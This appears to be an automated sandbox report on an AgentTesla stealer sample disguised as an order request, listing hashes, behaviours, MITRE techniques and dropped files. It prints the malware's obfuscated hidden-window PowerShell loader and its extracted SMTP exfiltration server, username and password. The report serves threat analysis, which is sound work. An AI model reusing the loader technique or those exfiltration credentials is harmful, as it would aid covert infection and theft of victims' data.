agenttesla | da60994601ad4b31f625a19d3eb1b5ddb57366d0570870ad3d1e96a7613ed609

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17/01/2025, 01:19

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General

Target

Order_Request SO-124465.exe
Size

924KB
MD5

23af09149a763422a984f75d1aee99f7
SHA1

a744ec1977556c64257eade7e9f3bc8c903d14f9
SHA256

3c0b9b0b239b7a68824a36d9d9e724af717ae05fca697e0563cf93e24a22e335
SHA512

a8a6c94cbba7244de717508905af6791ffa8bd2a0a1e06776def50f76195deae3c9ff0a0e4922d76df5315654ee54e1ad1bc58e37871a255bce2f714f37dff00
SSDEEP

24576:GuA8h591jcS39X+6RJNBIQll+hQT2jiux51:8K31P9X3RFIQlluQsx/

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
162.254.34.31
Port:
587
Username:
[email protected]
Password:
JaR4LTajHPY5

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
162.254.34.31
Port:
587
Username:
[email protected]
Password:
JaR4LTajHPY5
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2320	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
1912	Order_Request SO-124465.exe

Blocklisted process makes network request 5 IoCs

flow	pid	Process
23	2456	msiexec.exe
25	2456	msiexec.exe
27	2456	msiexec.exe
32	2456	msiexec.exe
34	2456	msiexec.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
31	api.ipify.org
32	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2456	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2320	powershell.exe
2456	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Order_Request SO-124465.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2320	powershell.exe
2320	powershell.exe
2320	powershell.exe
2320	powershell.exe
2320	powershell.exe
2320	powershell.exe
2320	powershell.exe
2320	powershell.exe
2320	powershell.exe
2456	msiexec.exe
2456	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2320	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeIncreaseQuotaPrivilege	2320	powershell.exe
Token: SeSecurityPrivilege	2320	powershell.exe
Token: SeTakeOwnershipPrivilege	2320	powershell.exe
Token: SeLoadDriverPrivilege	2320	powershell.exe
Token: SeSystemProfilePrivilege	2320	powershell.exe
Token: SeSystemtimePrivilege	2320	powershell.exe
Token: SeProfSingleProcessPrivilege	2320	powershell.exe
Token: SeIncBasePriorityPrivilege	2320	powershell.exe
Token: SeCreatePagefilePrivilege	2320	powershell.exe
Token: SeBackupPrivilege	2320	powershell.exe
Token: SeRestorePrivilege	2320	powershell.exe
Token: SeShutdownPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeSystemEnvironmentPrivilege	2320	powershell.exe
Token: SeRemoteShutdownPrivilege	2320	powershell.exe
Token: SeUndockPrivilege	2320	powershell.exe
Token: SeManageVolumePrivilege	2320	powershell.exe
Token: 33	2320	powershell.exe
Token: 34	2320	powershell.exe
Token: 35	2320	powershell.exe
Token: 36	2320	powershell.exe
Token: SeDebugPrivilege	2456	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1912 wrote to memory of 2320	1912	Order_Request SO-124465.exe	85
PID 1912 wrote to memory of 2320	1912	Order_Request SO-124465.exe	85
PID 1912 wrote to memory of 2320	1912	Order_Request SO-124465.exe	85
PID 2320 wrote to memory of 2456	2320	powershell.exe	95
PID 2320 wrote to memory of 2456	2320	powershell.exe	95
PID 2320 wrote to memory of 2456	2320	powershell.exe	95
PID 2320 wrote to memory of 2456	2320	powershell.exe	95

C:\Users\Admin\AppData\Local\Temp\Order_Request SO-124465.exe
"C:\Users\Admin\AppData\Local\Temp\Order_Request SO-124465.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1912
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Foreswore=gc -raw 'C:\Users\Admin\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Underpicked.Und';$Tephillin=$Foreswore.SubString(17671,3);.$Tephillin($Foreswore) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Sagadigtning.Ord

Filesize
318KB

MD5
0e886555c53c6b022bd854987a2b4e25

SHA1
c0ece93f59afd5960603ebd8f03cec70c1ac02cd

SHA256
96be5bf1069766c16b4fadebd7936856a39eef4161e9ca9af08af1a6407b58a9

SHA512
9193f1cf894128753e5f5b5c003ab5f4e1690385ba84e374dcac8a4bfcead56cae5a73eb13deceafebcab7e47ed56c33f232ddcf37550ed09cc5ce3e0b63ff36

Download Submit
C:\Users\Admin\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Underpicked.Und

Filesize
73KB

MD5
d1dc147078aaa37825fd468f40a94b02

SHA1
d610777737474a9d1646f81cca519297f1a00b16

SHA256
6babf9579785aa0f9d87c4ab2a832d66945997e7169938cc302e8e7a5cba09f6

SHA512
47a47aa58f604459a1b613ac41157547173a4befaf88353ae1e286e8e6882d718bed75d963b9fe817592523fd6f095c535c0b67883980057d6c6cbdf7faa2f05

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4tfmnt1y.a04.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsp9338.tmp\nsExec.dll

Filesize
6KB

MD5
51e63a9c5d6d230ef1c421b2eccd45dc

SHA1
c499cdad5c613d71ed3f7e93360f1bbc5748c45d

SHA256
cd8496a3802378391ec425dec424a14f5d30e242f192ec4eb022d767f9a2480f

SHA512
c23d713c3c834b3397c2a199490aed28f28d21f5781205c24df5e1e32365985c8a55be58f06979df09222740ffa51f4da764ebc3d912cd0c9d56ab6a33cab522

Download Submit
memory/2320-12-0x0000000073E2E000-0x0000000073E2F000-memory.dmp

Filesize
4KB

Download
memory/2320-13-0x0000000004730000-0x0000000004766000-memory.dmp

Filesize
216KB

Download
memory/2320-14-0x0000000004E20000-0x0000000005448000-memory.dmp

Filesize
6.2MB

Download
memory/2320-16-0x0000000073E20000-0x00000000745D0000-memory.dmp

Filesize
7.7MB

Download
memory/2320-15-0x0000000073E20000-0x00000000745D0000-memory.dmp

Filesize
7.7MB

Download
memory/2320-17-0x0000000004D80000-0x0000000004DA2000-memory.dmp

Filesize
136KB

Download
memory/2320-19-0x00000000056B0000-0x0000000005716000-memory.dmp

Filesize
408KB

Download
memory/2320-18-0x0000000005640000-0x00000000056A6000-memory.dmp

Filesize
408KB

Download
memory/2320-29-0x0000000005720000-0x0000000005A74000-memory.dmp

Filesize
3.3MB

Download
memory/2320-30-0x0000000005DA0000-0x0000000005DBE000-memory.dmp

Filesize
120KB

Download
memory/2320-31-0x0000000005DD0000-0x0000000005E1C000-memory.dmp

Filesize
304KB

Download
memory/2320-32-0x0000000006300000-0x0000000006396000-memory.dmp

Filesize
600KB

Download
memory/2320-34-0x0000000006F50000-0x0000000006F72000-memory.dmp

Filesize
136KB

Download
memory/2320-33-0x00000000062B0000-0x00000000062CA000-memory.dmp

Filesize
104KB

Download
memory/2320-35-0x00000000075E0000-0x0000000007B84000-memory.dmp

Filesize
5.6MB

Download
memory/2320-37-0x0000000008210000-0x000000000888A000-memory.dmp

Filesize
6.5MB

Download
memory/2320-49-0x00000000071D0000-0x00000000071EE000-memory.dmp

Filesize
120KB

Download
memory/2320-51-0x0000000073E20000-0x00000000745D0000-memory.dmp

Filesize
7.7MB

Download
memory/2320-50-0x0000000007200000-0x00000000072A3000-memory.dmp

Filesize
652KB

Download
memory/2320-52-0x0000000007300000-0x000000000730A000-memory.dmp

Filesize
40KB

Download
memory/2320-39-0x00000000702A0000-0x00000000702EC000-memory.dmp

Filesize
304KB

Download
memory/2320-38-0x0000000007190000-0x00000000071C2000-memory.dmp

Filesize
200KB

Download
memory/2320-54-0x0000000073E20000-0x00000000745D0000-memory.dmp

Filesize
7.7MB

Download
memory/2320-53-0x0000000007460000-0x0000000007471000-memory.dmp

Filesize
68KB

Download
memory/2320-55-0x0000000073E20000-0x00000000745D0000-memory.dmp

Filesize
7.7MB

Download
memory/2320-56-0x00000000074A0000-0x00000000074AE000-memory.dmp

Filesize
56KB

Download
memory/2320-57-0x00000000074B0000-0x00000000074C4000-memory.dmp

Filesize
80KB

Download
memory/2320-59-0x00000000074E0000-0x00000000074E8000-memory.dmp

Filesize
32KB

Download
memory/2320-58-0x0000000007510000-0x000000000752A000-memory.dmp

Filesize
104KB

Download
memory/2320-60-0x0000000007550000-0x000000000757A000-memory.dmp

Filesize
168KB

Download
memory/2320-61-0x0000000007580000-0x00000000075A4000-memory.dmp

Filesize
144KB

Download
memory/2320-62-0x0000000073E20000-0x00000000745D0000-memory.dmp

Filesize
7.7MB

Download
memory/2320-64-0x0000000073E20000-0x00000000745D0000-memory.dmp

Filesize
7.7MB

Download
memory/2320-66-0x0000000073E20000-0x00000000745D0000-memory.dmp

Filesize
7.7MB

Download
memory/2320-69-0x0000000073E20000-0x00000000745D0000-memory.dmp

Filesize
7.7MB

Download
memory/2320-67-0x0000000008890000-0x00000000093E7000-memory.dmp

Filesize
11.3MB

Download
memory/2320-68-0x0000000073E2E000-0x0000000073E2F000-memory.dmp

Filesize
4KB

Download
memory/2320-70-0x0000000073E20000-0x00000000745D0000-memory.dmp

Filesize
7.7MB

Download
memory/2320-71-0x0000000073E20000-0x00000000745D0000-memory.dmp

Filesize
7.7MB

Download
memory/2320-72-0x0000000073E20000-0x00000000745D0000-memory.dmp

Filesize
7.7MB

Download
memory/2320-74-0x0000000073E20000-0x00000000745D0000-memory.dmp

Filesize
7.7MB

Download
memory/2320-76-0x00000000777A1000-0x00000000778C1000-memory.dmp

Filesize
1.1MB

Download
memory/2320-73-0x0000000073E20000-0x00000000745D0000-memory.dmp

Filesize
7.7MB

Download
memory/2456-75-0x0000000001A40000-0x0000000002597000-memory.dmp

Filesize
11.3MB

Download
memory/2456-84-0x00000000007E0000-0x0000000000820000-memory.dmp

Filesize
256KB

Download
memory/2456-83-0x00000000007E0000-0x0000000001A34000-memory.dmp

Filesize
18.3MB

Download
memory/2456-85-0x0000000020EB0000-0x0000000020F00000-memory.dmp

Filesize
320KB

Download
memory/2456-86-0x0000000020FA0000-0x000000002103C000-memory.dmp

Filesize
624KB

Download
memory/2456-88-0x0000000001A40000-0x0000000002597000-memory.dmp

Filesize
11.3MB

Download
memory/2456-89-0x00000000210E0000-0x0000000021172000-memory.dmp

Filesize
584KB

Download
memory/2456-90-0x0000000020F80000-0x0000000020F8A000-memory.dmp

Filesize
40KB

Download